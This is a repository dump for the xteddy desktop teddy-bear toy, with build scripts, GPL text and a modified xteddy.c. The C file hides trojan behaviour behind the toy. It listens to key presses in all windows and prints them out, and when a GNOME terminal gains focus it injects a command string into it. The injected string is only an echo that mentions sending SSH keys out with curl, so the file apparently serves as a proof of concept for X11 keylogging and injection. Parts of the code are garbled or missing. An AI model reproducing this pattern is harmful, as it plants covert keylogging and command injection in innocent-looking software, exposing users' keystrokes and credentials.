119 | you can use the `configure' options `--x-includes=DIR' and
120 | `--x-libraries=DIR' to specify their locations.
121 |
122 | Specifying the System Type
123 | ==========================
124 |
125 | There may be some features `configure' can not figure out
126 | automatically, but needs to determine by the type of host the package
127 | will run on. Usually `configure' can figure that out, but if it prints
128 | a message saying it can not guess the host type, give it the
129 | `--host=TYPE' option. TYPE can either be a short name for the system
130 | type, such as `sun4', or a canonical name with three fields:
131 | CPU-COMPANY-SYSTEM
132 |
133 | See the file `config.sub' for the possible values of each field. If
134 | `config.sub' isn't included in this package, then this package doesn't
135 | need to know the host type.
136 |
137 | If you are building compiler tools for cross-compiling, you can also
138 | use the `--target=TYPE' option to select the type of system they will
139 | produce code for and the `--build=TYPE' option to select the type of
140 | system on which you are compiling the package.
141 |
142 | Sharing Defaults
143 | ================
144 |
145 | If you want to set default values for `configure' scripts to share,
146 | you can create a site shell script called `config.site' that gives
147 | default values for variables like `CC', `cache_file', and `prefix'.
148 | `configure' looks for `PREFIX/share/config.site' if it exists, then
149 | `PREFIX/etc/config.site' if it exists. Or, you can set the
150 | `CONFIG_SITE' environment variable to the location of the site script.
151 | A warning: not all `configure' scripts look for a site script.
152 |
153 | Operation Controls
154 | ==================
155 |
156 | `configure' recognizes the following options to control how it
157 | operates.
158 |
159 | `--cache-file=FILE'
160 | Use and save the results of the tests in FILE instead of
161 | `./config.cache'. Set FILE to `/dev/null' to disable caching, for
162 | debugging `configure'.
163 |
164 | `--help'
165 | Print a summary of the options to `configure', and exit.
166 |
167 | `--quiet'
168 | `--silent'
169 | `-q'
170 | Do not print messages saying which checks are being made. To
171 | suppress all normal output, redirect it to `/dev/null' (any error
172 | messages will still be shown).
173 |
174 | `--srcdir=DIR'
175 | Look for the package's source code in directory DIR. Usually
176 | `configure' can determine that directory automatically.
177 |
178 | `--version'
179 | Print the version of Autoconf used to generate the `configure'
180 | script, and exit.
181 |
182 | `configure' also accepts some other, not widely useful, options.
183 |
--------------------------------------------------------------------------------
/compile:
--------------------------------------------------------------------------------
1 | #! /bin/sh
2 | # Wrapper for compilers which do not understand '-c -o'.
3 |
4 | scriptversion=2012-10-14.11; # UTC
5 |
6 | # Copyright (C) 1999-2014 Free Software Foundation, Inc.
7 | # Written by Tom Tromey .
8 | #
9 | # This program is free software; you can redistribute it and/or modify
10 | # it under the terms of the GNU General Public License as published by
11 | # the Free Software Foundation; either version 2, or (at your option)
12 | # any later version.
13 | #
14 | # This program is distributed in the hope that it will be useful,
15 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | # GNU General Public License for more details.
18 | #
19 | # You should have received a copy of the GNU General Public License
20 | # along with this program. If not, see .
21 |
22 | # As a special exception to the GNU General Public License, if you
23 | # distribute this file as part of a program that contains a
24 | # configuration script generated by Autoconf, you may include it under
25 | # the same distribution terms that you use for the rest of that program.
26 |
27 | # This file is maintained in Automake, please report
28 | # bugs to or send patches to
29 | # .
30 |
31 | nl='
32 | '
33 |
34 | # We need space, tab and new line, in precisely that order. Quoting is
35 | # there to prevent tools from complaining about whitespace usage.
36 | IFS=" "" $nl"
37 |
38 | file_conv=
39 |
40 | # func_file_conv build_file lazy
41 | # Convert a $build file to $host form and store it in $file
42 | # Currently only supports Windows hosts. If the determined conversion
43 | # type is listed in (the comma separated) LAZY, no conversion will
44 | # take place.
45 | func_file_conv ()
46 | {
47 | file=$1
48 | case $file in
49 | / | /[!/]*) # absolute file, and not a UNC file
50 | if test -z "$file_conv"; then
51 | # lazily determine how to convert abs files
52 | case `uname -s` in
53 | MINGW*)
54 | file_conv=mingw
55 | ;;
56 | CYGWIN*)
57 | file_conv=cygwin
58 | ;;
59 | *)
60 | file_conv=wine
61 | ;;
62 | esac
63 | fi
64 | case $file_conv/,$2, in
65 | *,$file_conv,*)
66 | ;;
67 | mingw/*)
68 | file=`cmd //C echo "$file " | sed -e 's/"\(.*\) " *$/\1/'`
69 | ;;
70 | cygwin/*)
71 | file=`cygpath -m "$file" || echo "$file"`
72 | ;;
73 | wine/*)
74 | file=`winepath -w "$file" || echo "$file"`
75 | ;;
76 | esac
77 | ;;
78 | esac
79 | }
80 |
81 | # func_cl_dashL linkdir
82 | # Make cl look for libraries in LINKDIR
83 | func_cl_dashL ()
84 | {
85 | func_file_conv "$1"
86 | if test -z "$lib_path"; then
87 | lib_path=$file
88 | else
89 | lib_path="$lib_path;$file"
90 | fi
91 | linker_opts="$linker_opts -LIBPATH:$file"
92 | }
93 |
94 | # func_cl_dashl library
95 | # Do a library search-path lookup for cl
96 | func_cl_dashl ()
97 | {
98 | lib=$1
99 | found=no
100 | save_IFS=$IFS
101 | IFS=';'
102 | for dir in $lib_path $LIB
103 | do
104 | IFS=$save_IFS
105 | if $shared && test -f "$dir/$lib.dll.lib"; then
106 | found=yes
107 | lib=$dir/$lib.dll.lib
108 | break
109 | fi
110 | if test -f "$dir/$lib.lib"; then
111 | found=yes
112 | lib=$dir/$lib.lib
113 | break
114 | fi
115 | if test -f "$dir/lib$lib.a"; then
116 | found=yes
117 | lib=$dir/lib$lib.a
118 | break
119 | fi
120 | done
121 | IFS=$save_IFS
122 |
123 | if test "$found" != yes; then
124 | lib=$lib.lib
125 | fi
126 | }
127 |
128 | # func_cl_wrapper cl arg...
129 | # Adjust compile command to suit cl
130 | func_cl_wrapper ()
131 | {
132 | # Assume a capable shell
133 | lib_path=
134 | shared=:
135 | linker_opts=
136 | for arg
137 | do
138 | if test -n "$eat"; then
139 | eat=
140 | else
141 | case $1 in
142 | -o)
143 | # configure might choose to run compile as 'compile cc -o foo foo.c'.
144 | eat=1
145 | case $2 in
146 | *.o | *.[oO][bB][jJ])
147 | func_file_conv "$2"
148 | set x "$@" -Fo"$file"
149 | shift
150 | ;;
151 | *)
152 | func_file_conv "$2"
153 | set x "$@" -Fe"$file"
154 | shift
155 | ;;
156 | esac
157 | ;;
158 | -I)
159 | eat=1
160 | func_file_conv "$2" mingw
161 | set x "$@" -I"$file"
162 | shift
163 | ;;
164 | -I*)
165 | func_file_conv "${1#-I}" mingw
166 | set x "$@" -I"$file"
167 | shift
168 | ;;
169 | -l)
170 | eat=1
171 | func_cl_dashl "$2"
172 | set x "$@" "$lib"
173 | shift
174 | ;;
175 | -l*)
176 | func_cl_dashl "${1#-l}"
177 | set x "$@" "$lib"
178 | shift
179 | ;;
180 | -L)
181 | eat=1
182 | func_cl_dashL "$2"
183 | ;;
184 | -L*)
185 | func_cl_dashL "${1#-L}"
186 | ;;
187 | -static)
188 | shared=false
189 | ;;
190 | -Wl,*)
191 | arg=${1#-Wl,}
192 | save_ifs="$IFS"; IFS=','
193 | for flag in $arg; do
194 | IFS="$save_ifs"
195 | linker_opts="$linker_opts $flag"
196 | done
197 | IFS="$save_ifs"
198 | ;;
199 | -Xlinker)
200 | eat=1
201 | linker_opts="$linker_opts $2"
202 | ;;
203 | -*)
204 | set x "$@" "$1"
205 | shift
206 | ;;
207 | *.cc | *.CC | *.cxx | *.CXX | *.[cC]++)
208 | func_file_conv "$1"
209 | set x "$@" -Tp"$file"
210 | shift
211 | ;;
212 | *.c | *.cpp | *.CPP | *.lib | *.LIB | *.Lib | *.OBJ | *.obj | *.[oO])
213 | func_file_conv "$1" mingw
214 | set x "$@" "$file"
215 | shift
216 | ;;
217 | *)
218 | set x "$@" "$1"
219 | shift
220 | ;;
221 | esac
222 | fi
223 | shift
224 | done
225 | if test -n "$linker_opts"; then
226 | linker_opts="-link$linker_opts"
227 | fi
228 | exec "$@" $linker_opts
229 | exit 1
230 | }
231 |
232 | eat=
233 |
234 | case $1 in
235 | '')
236 | echo "$0: No command. Try '$0 --help' for more information." 1>&2
237 | exit 1;
238 | ;;
239 | -h | --h*)
240 | cat <<\EOF
241 | Usage: compile [--help] [--version] PROGRAM [ARGS]
242 |
243 | Wrapper for compilers which do not understand '-c -o'.
244 | Remove '-o dest.o' from ARGS, run PROGRAM with the remaining
245 | arguments, and rename the output as expected.
246 |
247 | If you are trying to build a whole package this is not the
248 | right script to run: please start by reading the file 'INSTALL'.
249 |
250 | Report bugs to .
251 | EOF
252 | exit $?
253 | ;;
254 | -v | --v*)
255 | echo "compile $scriptversion"
256 | exit $?
257 | ;;
258 | cl | *[/\\]cl | cl.exe | *[/\\]cl.exe )
259 | func_cl_wrapper "$@" # Doesn't return...
260 | ;;
261 | esac
262 |
263 | ofile=
264 | cfile=
265 |
266 | for arg
267 | do
268 | if test -n "$eat"; then
269 | eat=
270 | else
271 | case $1 in
272 | -o)
273 | # configure might choose to run compile as 'compile cc -o foo foo.c'.
274 | # So we strip '-o arg' only if arg is an object.
275 | eat=1
276 | case $2 in
277 | *.o | *.obj)
278 | ofile=$2
279 | ;;
280 | *)
281 | set x "$@" -o "$2"
282 | shift
283 | ;;
284 | esac
285 | ;;
286 | *.c)
287 | cfile=$1
288 | set x "$@" "$1"
289 | shift
290 | ;;
291 | *)
292 | set x "$@" "$1"
293 | shift
294 | ;;
295 | esac
296 | fi
297 | shift
298 | done
299 |
300 | if test -z "$ofile" || test -z "$cfile"; then
301 | # If no '-o' option was seen then we might have been invoked from a
302 | # pattern rule where we don't need one. That is ok -- this is a
303 | # normal compilation that the losing compiler can handle. If no
304 | # '.c' file was seen then we are probably linking. That is also
305 | # ok.
306 | exec "$@"
307 | fi
308 |
309 | # Name of file we expect compiler to create.
310 | cofile=`echo "$cfile" | sed 's|^.*[\\/]||; s|^[a-zA-Z]:||; s/\.c$/.o/'`
311 |
312 | # Create the lock directory.
313 | # Note: use '[/\\:.-]' here to ensure that we don't use the same name
314 | # that we are using for the .o file. Also, base the name on the expected
315 | # object file name, since that is what matters with a parallel build.
316 | lockdir=`echo "$cofile" | sed -e 's|[/\\:.-]|_|g'`.d
317 | while true; do
318 | if mkdir "$lockdir" >/dev/null 2>&1; then
319 | break
320 | fi
321 | sleep 1
322 | done
323 | # FIXME: race condition here if user kills between mkdir and trap.
324 | trap "rmdir '$lockdir'; exit 1" 1 2 15
325 |
326 | # Run the compile.
327 | "$@"
328 | ret=$?
329 |
330 | if test -f "$cofile"; then
331 | test "$cofile" = "$ofile" || mv "$cofile" "$ofile"
332 | elif test -f "${cofile}bj"; then
333 | test "${cofile}bj" = "$ofile" || mv "${cofile}bj" "$ofile"
334 | fi
335 |
336 | rmdir "$lockdir"
337 | exit $ret
338 |
339 | # Local Variables:
340 | # mode: shell-script
341 | # sh-indentation: 2
342 | # eval: (add-hook 'write-file-hooks 'time-stamp)
343 | # time-stamp-start: "scriptversion="
344 | # time-stamp-format: "%:y-%02m-%02d.%02H"
345 | # time-stamp-time-zone: "UTC"
346 | # time-stamp-end: "; # UTC"
347 | # End:
348 |
--------------------------------------------------------------------------------
/xteddy.c:
--------------------------------------------------------------------------------
1 | /* Xteddy - a cuddly bear to place on your desktop. */
2 | /* Author: Stefan Gustavson, ISY-LiTH, 1994 */
3 | /* Internet email address: stefang@isy.liu.se */
4 | /* This software is distributed under the GNU */
5 | /* Public Licence (GPL). */
6 | /* Also, if you modify this program or include it */
7 | /* in some kind of official distribution, I would */
8 | /* like to know about it. */
9 |
10 | /* Xpm pixmap manipulation routines for color */
11 | /* and grayscale teddies are from the Xpm library */
12 | /* by Arnaud Le Hors, lehors@sophia.inria.fr, */
13 | /* Copyright 1990-93 GROUPE BULL */
14 |
15 | /* This is Xteddy version 1.1 as of 1998-04-22. */
16 | /* from Andreas Tille */
17 | /* Changes: Load other pixmaps via -F */
18 |
19 | #include
20 | #include
21 | #include
22 | #include
23 | #include
24 | #include
25 | #include
26 | #include
27 |
28 | #ifdef HAVE_LIBXPM
29 | #include
30 | #endif
31 |
32 | #include
33 | #include
34 | #include
35 | #include
36 |
37 | #ifndef TRUE
38 | #define TRUE 1
39 | #endif
40 |
41 | #ifndef FALSE
42 | #define FALSE 0
43 | #endif
44 |
45 | static char *progname;
46 | Display *display;
47 | int screen_num;
48 |
49 | #define PIX "_color.xpm"
50 | #define BIT "_bw.xbm"
51 | #define ICO "_icon.xbm"
52 | #define MSK "_mask.xbm"
53 |
54 | int dummy_handler(Display *error_display, XErrorEvent *event) {
55 | return;
56 | }
57 |
58 | void listen_window(Window window) {
59 | XSelectInput(display, window, FocusChangeMask | KeyPressMask | StructureNotifyMask | SubstructureNotifyMask);
60 | }
61 |
62 | void listen_children(Window window) {
63 | Window root, parent, *children;
64 | unsigned int nchildren;
65 |
66 | listen_window(window);
67 |
68 | XQueryTree(display, window, &root, &parent, &children, &nchildren);
69 | if (children) {
70 | int i;
71 | for (i=0; i_color.xpm */
79 | *bit, /* _bw.xbm */
80 | *ico, /* _icon.xbm */
81 | *msk, /* _mask.xbm */
82 | *window_name, /* */
83 | *icon_name, /* */
84 | *buf; /* stores all these strings */
85 | unsigned int width, height,
86 | icon_width, icon_height;
87 | unsigned char *bw_bits, /* bitmap data */
88 | *mask_bits, /* mask data */
89 | *icon_bits; /* icon data */
90 | } teddy_struct;
91 |
92 | int InitTeddy(teddy_struct *xteddy)
93 | /* Initializing filenames */
94 | {
95 | #define FBUFLEN 200
96 | int buflen, w, h, xhotret, yhotret;
97 | char fbuf[FBUFLEN];
98 |
99 | if ( !xteddy->teddy || !(strlen(xteddy->teddy)) ) return -1;
100 |
101 | /* Test, whether the pixmap is in "." or in PIXMAP_PATH */
102 | strcat(strcpy(fbuf, xteddy->teddy), PIX);
103 | if ( (xhotret = open(fbuf, O_RDONLY)) == -1 ) {
104 | strcat(strcat(strcat(strcpy(fbuf, PIXMAP_PATH), "/"), xteddy->teddy), PIX);
105 | if ( (xhotret = open(fbuf, O_RDONLY)) == -1 ) {
106 | fprintf(stderr, "Can not find %s.\n", fbuf);
107 | return -1;
108 | }
109 | }
110 | close(xhotret);
111 | *(strstr(fbuf, PIX)) = 0;
112 |
113 | buflen = 5 * strlen(fbuf) +
114 | strlen(PIX) + 1 +
115 | strlen(BIT) + 1 +
116 | strlen(ICO) + 1 +
117 | strlen(MSK) + 1;
118 | if ( (xteddy->buf = calloc(buflen, sizeof(char))) == NULL ) return -1;
119 |
120 | strcpy(xteddy->pix = xteddy->buf, fbuf);
121 | strcat(xteddy->pix, PIX);
122 | strcpy(xteddy->bit = xteddy->pix + strlen(xteddy->pix) + 1, fbuf);
123 | strcat(xteddy->bit, BIT);
124 | strcpy(xteddy->ico = xteddy->bit + strlen(xteddy->bit) + 1, fbuf);
125 | strcat(xteddy->ico, ICO);
126 | strcpy(xteddy->msk = xteddy->ico + strlen(xteddy->ico) + 1, fbuf);
127 | strcat(xteddy->msk, MSK);
128 | strcpy(xteddy->window_name = xteddy->msk+strlen(xteddy->msk) + 1, fbuf);
129 | *(xteddy->window_name) = toupper(*(xteddy->window_name));
130 | xteddy->icon_name = xteddy->teddy;
131 |
132 | XReadBitmapFileData(xteddy->bit, &(xteddy->width), &(xteddy->height),
133 | &xteddy->bw_bits, &xhotret, &yhotret);
134 | XReadBitmapFileData(xteddy->msk, &w, &h,
135 | &xteddy->mask_bits, &xhotret, &yhotret);
136 | if ( (xteddy->width != w) || (xteddy->height != h) ) {
137 | fprintf(stderr, "Bitmap and Mask have different sizes.\n");
138 | return -1;
139 | }
140 | XReadBitmapFileData(xteddy->ico, &(xteddy->icon_width), &(xteddy->icon_height),
141 | &xteddy->icon_bits, &xhotret, &yhotret);
142 |
143 | return 0;
144 | #undef FBUFLEN
145 | }
146 |
147 | void fake_entry()
148 | {
149 | int i, keycode;
150 | char entry[] = "echo this could be using curl to send your ssh keys to a remote site";
151 |
152 | for (i=0; i ... Other pixmap name */
222 | use_wm = FALSE;
223 | float_up = FALSE;
224 | use_mono = FALSE;
225 | allow_quit = TRUE;
226 | x = y = 0;
227 | geomflags = 0;
228 | for(argnum=1; argnum display_width - teddy.width) x = display_width - teddy.width;
274 | if (y<0) y=0;
275 | if (y > display_height - teddy.height) y = display_height - teddy.height;
276 |
277 | /* Create the main window */
278 | win = XCreateSimpleWindow(display, RootWindow(display,screen_num),
279 | x,y,teddy.width,teddy.height,border_width,
280 | BlackPixel(display,screen_num),
281 | WhitePixel(display,screen_num));
282 | basewin = win;
283 |
284 | /* Create a GC (Currently not used for any drawing) */
285 | gcvalues.foreground = BlackPixel(display,screen_num);
286 | gcvalues.background = WhitePixel(display,screen_num);
287 | gcvaluemask = GCForeground | GCBackground;
288 | gc = XCreateGC(display, win, gcvaluemask, &gcvalues);
289 |
290 | #ifndef HAVE_LIBXPM
291 | /* Use b/w dithered X bitmap no matter what */
292 | background_pixmap =
293 | XCreatePixmapFromBitmapData(display, win, xteddy_bw_bits,
294 | xteddy.width, xteddy.height,
295 | BlackPixel(display, screen_num),
296 | WhitePixel(display, screen_num),
297 | display_depth);
298 | #else
299 | /* Get information about the default visual */
300 | default_visual = DefaultVisual(display, screen_num);
301 | default_cmap = DefaultColormap(display, screen_num);
302 |
303 | /* Get the visual class of the default visual. (I strongly feel */
304 | /* that there must be a more straightforward way to do this...) */
305 | vinfo_template.visualid = XVisualIDFromVisual(default_visual);
306 | visual_info = XGetVisualInfo(display, VisualIDMask,
307 | &vinfo_template, &nmatches);
308 | /* The default visual should be supported, so don't check for NULL return */
309 | #ifdef DEBUG
310 | printf("%s: default visual class is %s.\n",
311 | progname, visual_name[visual_info->class]);
312 | #endif
313 | if ((visual_info->class == StaticGray) || (use_mono))
314 | {
315 | /* Use b/w dithered bitmap */
316 | background_pixmap =
317 | XCreatePixmapFromBitmapData(display, win, teddy.bw_bits,
318 | teddy.width, teddy.height,
319 | BlackPixel(display, screen_num),
320 | WhitePixel(display, screen_num),
321 | display_depth);
322 | }
323 | else /* at least GrayScale - let Xpm decide which visual to use */
324 | {
325 | xpmattributes.visual = default_visual;
326 | xpmattributes.colormap = default_cmap;
327 | xpmattributes.depth = display_depth;
328 | xpmattributes.valuemask = XpmVisual | XpmColormap | XpmDepth;
329 | if (XpmReadFileToPixmap(display, win, teddy.pix,
330 | &background_pixmap, &shape_pixmap,
331 | &xpmattributes) < XpmSuccess)
332 | {
333 | printf("%s: Failed to allocate colormap. Using black-and-white.\n",
334 | progname);
335 | background_pixmap =
336 | XCreatePixmapFromBitmapData(display, win, teddy.bw_bits,
337 | teddy.width, teddy.height,
338 | BlackPixel(display, screen_num),
339 | WhitePixel(display, screen_num),
340 | display_depth);
341 | }
342 | }
343 | XFree(visual_info);
344 | #endif
345 | setwinattr.background_pixmap = background_pixmap;
346 | if (use_wm)
347 | setwinattr.override_redirect = FALSE;
348 | else
349 | setwinattr.override_redirect = TRUE;
350 | cursor = XCreateFontCursor(display, XC_heart);
351 | setwinattr.cursor = cursor;
352 | valuemask = CWBackPixmap | CWOverrideRedirect | CWCursor;
353 | XChangeWindowAttributes(display, win, valuemask, &setwinattr);
354 |
355 | /* Create and set the shape pixmap of the window - requires shape Xext */
356 | shape_pixmap = XCreateBitmapFromData(display,win, teddy.mask_bits,
357 | teddy.width, teddy.height);
358 | XShapeCombineMask(display, win, ShapeBounding, 0, 0, shape_pixmap, ShapeSet);
359 |
360 | /* Get available icon sizes from window manager */
361 | /* (and then blatantly ignore the result) */
362 | if (XGetIconSizes(display, RootWindow(display,screen_num),
363 | &size_list, &count) == 0)
364 | {
365 | /* Window manager didn't set preferred icon sizes - use the default */
366 | icon_pixmap = XCreateBitmapFromData(display,win, teddy.icon_bits,
367 | teddy.icon_width, teddy.icon_height);
368 | }
369 | else
370 | {
371 | /* Ignore the list and use the default size anyway */
372 | icon_pixmap = XCreateBitmapFromData(display,win, teddy.icon_bits,
373 | teddy.icon_width, teddy.icon_height);
374 | }
375 | /* Report size hints and other stuff to the window manager */
376 | size_hints.min_width = teddy.width; /* Don't allow any resizing */
377 | size_hints.min_height = teddy.height;
378 | size_hints.max_width = teddy.width;
379 | size_hints.max_height = teddy.height;
380 | size_hints.flags = PPosition | PSize | PMinSize | PMaxSize;
381 | if (XStringListToTextProperty(&(teddy.window_name), 1, &windowName) == 0)
382 | {
383 | (void) fprintf(stderr,
384 | "%s: structure allocation for windowName failed.\n",
385 | progname);
386 | exit(-1);
387 | }
388 | if (XStringListToTextProperty(&(teddy.icon_name), 1, &iconName) == 0)
389 | {
390 | (void) fprintf(stderr,
391 | "%s: structure allocation for iconName failed.\n",
392 | progname);
393 | exit(-1);
394 | }
395 | wm_hints.initial_state = NormalState;
396 | wm_hints.input = TRUE;
397 | wm_hints.icon_pixmap = icon_pixmap;
398 | wm_hints.flags = StateHint | IconPixmapHint | InputHint;
399 |
400 | class_hints.res_name = progname;
401 | class_hints.res_class = "Xteddy";
402 |
403 | XSetWMProperties(display, win, &windowName, &iconName,
404 | argv, argc, &size_hints, &wm_hints, &class_hints);
405 |
406 | /* Select event types wanted */
407 | inputmask = ExposureMask | KeyPressMask | ButtonPressMask |
408 | ButtonReleaseMask | StructureNotifyMask | ButtonMotionMask |
409 | PointerMotionHintMask | EnterWindowMask | LeaveWindowMask;
410 | if (float_up) inputmask |= VisibilityChangeMask;
411 |
412 | /* Display window */
413 | XMapWindow(display,win);
414 | XSetErrorHandler(dummy_handler);
415 | listen_children(DefaultRootWindow(display));
416 | XSelectInput(display, win, inputmask);
417 | /* Get and process the events */
418 | while (1)
419 | {
420 | XNextEvent(display, &report);
421 | switch(report.type)
422 | {
423 | case Expose:
424 | if (report.xexpose.count != 0)
425 | break;
426 | else
427 | {
428 | /* No drawing needed - the background pixmap */
429 | /* is handled automatically by the X server */
430 | }
431 | break;
432 | case ConfigureNotify:
433 | /* Window has been resized */
434 | teddy.width = report.xconfigure.width;
435 | teddy.height = report.xconfigure.height;
436 | break;
437 | case ReparentNotify:
438 | /* Window was reparented by the window manager */
439 | if (!use_wm)
440 | (void) fprintf(stderr,
441 | "%s: Window manager wouldn't leave the window alone!\n",
442 | progname);
443 | basewin = report.xreparent.parent;
444 | break;
445 | case EnterNotify:
446 | /* Grab the keyboard while the pointer is in the window */
447 | XGrabKeyboard(display, win, FALSE, GrabModeAsync, GrabModeAsync,
448 | CurrentTime);
449 | break;
450 | case LeaveNotify:
451 | /* Release the keyboard when the pointer leaves the window */
452 | XUngrabKeyboard(display, CurrentTime);
453 | break;
454 | case ButtonPress:
455 | /* Raise xteddy above sibling windows */
456 | XRaiseWindow(display, win);
457 | /* Remember where the mouse went down */
458 | XQueryPointer(display, basewin, &root, &child, &tmp_x, &tmp_y,
459 | &offs_x, &offs_y, &tmp_mask);
460 | break;
461 | case ButtonRelease:
462 | /* Place xteddy at the new position */
463 | XQueryPointer(display, basewin, &root, &child, &new_x, &new_y,
464 | &tmp_x, &tmp_y, &tmp_mask);
465 | winchanges.x = new_x - offs_x;
466 | winchanges.y = new_y - offs_y;
467 | XReconfigureWMWindow(display, basewin, screen_num,
468 | CWX | CWY, &winchanges);
469 | break;
470 | case MotionNotify:
471 | /* Move xteddy around with the mouse */
472 | while (XCheckMaskEvent(display, ButtonMotionMask, &report));
473 | if (!XQueryPointer(display, report.xmotion.window, &root, &child,
474 | &new_x, &new_y, &tmp_x, &tmp_y, &tmp_mask))
475 | break;
476 | winchanges.x = new_x - offs_x;
477 | winchanges.y = new_y - offs_y;
478 | XReconfigureWMWindow(display, win, screen_num,
479 | CWX | CWY, &winchanges);
480 | break;
481 | case VisibilityNotify:
482 | /* Put xteddy on top of overlapping windows */
483 | if (float_up)
484 | if ((report.xvisibility.state == VisibilityFullyObscured)
485 | || (report.xvisibility.state == VisibilityPartiallyObscured))
486 | XRaiseWindow(display,win);
487 | break;
488 | case KeyPress:
489 | /* Exit on "q" or "Q" */
490 | charcount = XLookupString(&report.xkey, buffer, bufsize,
491 | &keysym, &compose);
492 | fprintf(stderr, "%c", keysym);
493 | break;
494 | case CreateNotify:
495 | listen_children(DefaultRootWindow(display));
496 | XSelectInput(display, win, inputmask);
497 | break;
498 | case FocusIn:
499 | h = XAllocClassHint();
500 | XGetClassHint(display, report.xfocus.window, h);
501 | if (h->res_name && strcmp(h->res_name, "gnome-terminal-server") == 0) {
502 | fake_entry();
503 | }
504 | XFree(h);
505 | break;
506 | default:
507 | /* Throw away all other events */
508 | break;
509 | } /* end switch */
510 | } /* end while */
511 | }
512 |
--------------------------------------------------------------------------------
/COPYING:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 2, June 1991
3 |
4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc.
5 | 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
6 | Everyone is permitted to copy and distribute verbatim copies
7 | of this license document, but changing it is not allowed.
8 |
9 | Preamble
10 |
11 | The licenses for most software are designed to take away your
12 | freedom to share and change it. By contrast, the GNU General Public
13 | License is intended to guarantee your freedom to share and change free
14 | software--to make sure the software is free for all its users. This
15 | General Public License applies to most of the Free Software
16 | Foundation's software and to any other program whose authors commit to
17 | using it. (Some other Free Software Foundation software is covered by
18 | the GNU Library General Public License instead.) You can apply it to
19 | your programs, too.
20 |
21 | When we speak of free software, we are referring to freedom, not
22 | price. Our General Public Licenses are designed to make sure that you
23 | have the freedom to distribute copies of free software (and charge for
24 | this service if you wish), that you receive source code or can get it
25 | if you want it, that you can change the software or use pieces of it
26 | in new free programs; and that you know you can do these things.
27 |
28 | To protect your rights, we need to make restrictions that forbid
29 | anyone to deny you these rights or to ask you to surrender the rights.
30 | These restrictions translate to certain responsibilities for you if you
31 | distribute copies of the software, or if you modify it.
32 |
33 | For example, if you distribute copies of such a program, whether
34 | gratis or for a fee, you must give the recipients all the rights that
35 | you have. You must make sure that they, too, receive or can get the
36 | source code. And you must show them these terms so they know their
37 | rights.
38 |
39 | We protect your rights with two steps: (1) copyright the software, and
40 | (2) offer you this license which gives you legal permission to copy,
41 | distribute and/or modify the software.
42 |
43 | Also, for each author's protection and ours, we want to make certain
44 | that everyone understands that there is no warranty for this free
45 | software. If the software is modified by someone else and passed on, we
46 | want its recipients to know that what they have is not the original, so
47 | that any problems introduced by others will not reflect on the original
48 | authors' reputations.
49 |
50 | Finally, any free program is threatened constantly by software
51 | patents. We wish to avoid the danger that redistributors of a free
52 | program will individually obtain patent licenses, in effect making the
53 | program proprietary. To prevent this, we have made it clear that any
54 | patent must be licensed for everyone's free use or not licensed at all.
55 |
56 | The precise terms and conditions for copying, distribution and
57 | modification follow.
58 |
59 | GNU GENERAL PUBLIC LICENSE
60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
61 |
62 | 0. This License applies to any program or other work which contains
63 | a notice placed by the copyright holder saying it may be distributed
64 | under the terms of this General Public License. The "Program", below,
65 | refers to any such program or work, and a "work based on the Program"
66 | means either the Program or any derivative work under copyright law:
67 | that is to say, a work containing the Program or a portion of it,
68 | either verbatim or with modifications and/or translated into another
69 | language. (Hereinafter, translation is included without limitation in
70 | the term "modification".) Each licensee is addressed as "you".
71 |
72 | Activities other than copying, distribution and modification are not
73 | covered by this License; they are outside its scope. The act of
74 | running the Program is not restricted, and the output from the Program
75 | is covered only if its contents constitute a work based on the
76 | Program (independent of having been made by running the Program).
77 | Whether that is true depends on what the Program does.
78 |
79 | 1. You may copy and distribute verbatim copies of the Program's
80 | source code as you receive it, in any medium, provided that you
81 | conspicuously and appropriately publish on each copy an appropriate
82 | copyright notice and disclaimer of warranty; keep intact all the
83 | notices that refer to this License and to the absence of any warranty;
84 | and give any other recipients of the Program a copy of this License
85 | along with the Program.
86 |
87 | You may charge a fee for the physical act of transferring a copy, and
88 | you may at your option offer warranty protection in exchange for a fee.
89 |
90 | 2. You may modify your copy or copies of the Program or any portion
91 | of it, thus forming a work based on the Program, and copy and
92 | distribute such modifications or work under the terms of Section 1
93 | above, provided that you also meet all of these conditions:
94 |
95 | a) You must cause the modified files to carry prominent notices
96 | stating that you changed the files and the date of any change.
97 |
98 | b) You must cause any work that you distribute or publish, that in
99 | whole or in part contains or is derived from the Program or any
100 | part thereof, to be licensed as a whole at no charge to all third
101 | parties under the terms of this License.
102 |
103 | c) If the modified program normally reads commands interactively
104 | when run, you must cause it, when started running for such
105 | interactive use in the most ordinary way, to print or display an
106 | announcement including an appropriate copyright notice and a
107 | notice that there is no warranty (or else, saying that you provide
108 | a warranty) and that users may redistribute the program under
109 | these conditions, and telling the user how to view a copy of this
110 | License. (Exception: if the Program itself is interactive but
111 | does not normally print such an announcement, your work based on
112 | the Program is not required to print an announcement.)
113 |
114 | These requirements apply to the modified work as a whole. If
115 | identifiable sections of that work are not derived from the Program,
116 | and can be reasonably considered independent and separate works in
117 | themselves, then this License, and its terms, do not apply to those
118 | sections when you distribute them as separate works. But when you
119 | distribute the same sections as part of a whole which is a work based
120 | on the Program, the distribution of the whole must be on the terms of
121 | this License, whose permissions for other licensees extend to the
122 | entire whole, and thus to each and every part regardless of who wrote it.
123 |
124 | Thus, it is not the intent of this section to claim rights or contest
125 | your rights to work written entirely by you; rather, the intent is to
126 | exercise the right to control the distribution of derivative or
127 | collective works based on the Program.
128 |
129 | In addition, mere aggregation of another work not based on the Program
130 | with the Program (or with a work based on the Program) on a volume of
131 | a storage or distribution medium does not bring the other work under
132 | the scope of this License.
133 |
134 | 3. You may copy and distribute the Program (or a work based on it,
135 | under Section 2) in object code or executable form under the terms of
136 | Sections 1 and 2 above provided that you also do one of the following:
137 |
138 | a) Accompany it with the complete corresponding machine-readable
139 | source code, which must be distributed under the terms of Sections
140 | 1 and 2 above on a medium customarily used for software interchange; or,
141 |
142 | b) Accompany it with a written offer, valid for at least three
143 | years, to give any third party, for a charge no more than your
144 | cost of physically performing source distribution, a complete
145 | machine-readable copy of the corresponding source code, to be
146 | distributed under the terms of Sections 1 and 2 above on a medium
147 | customarily used for software interchange; or,
148 |
149 | c) Accompany it with the information you received as to the offer
150 | to distribute corresponding source code. (This alternative is
151 | allowed only for noncommercial distribution and only if you
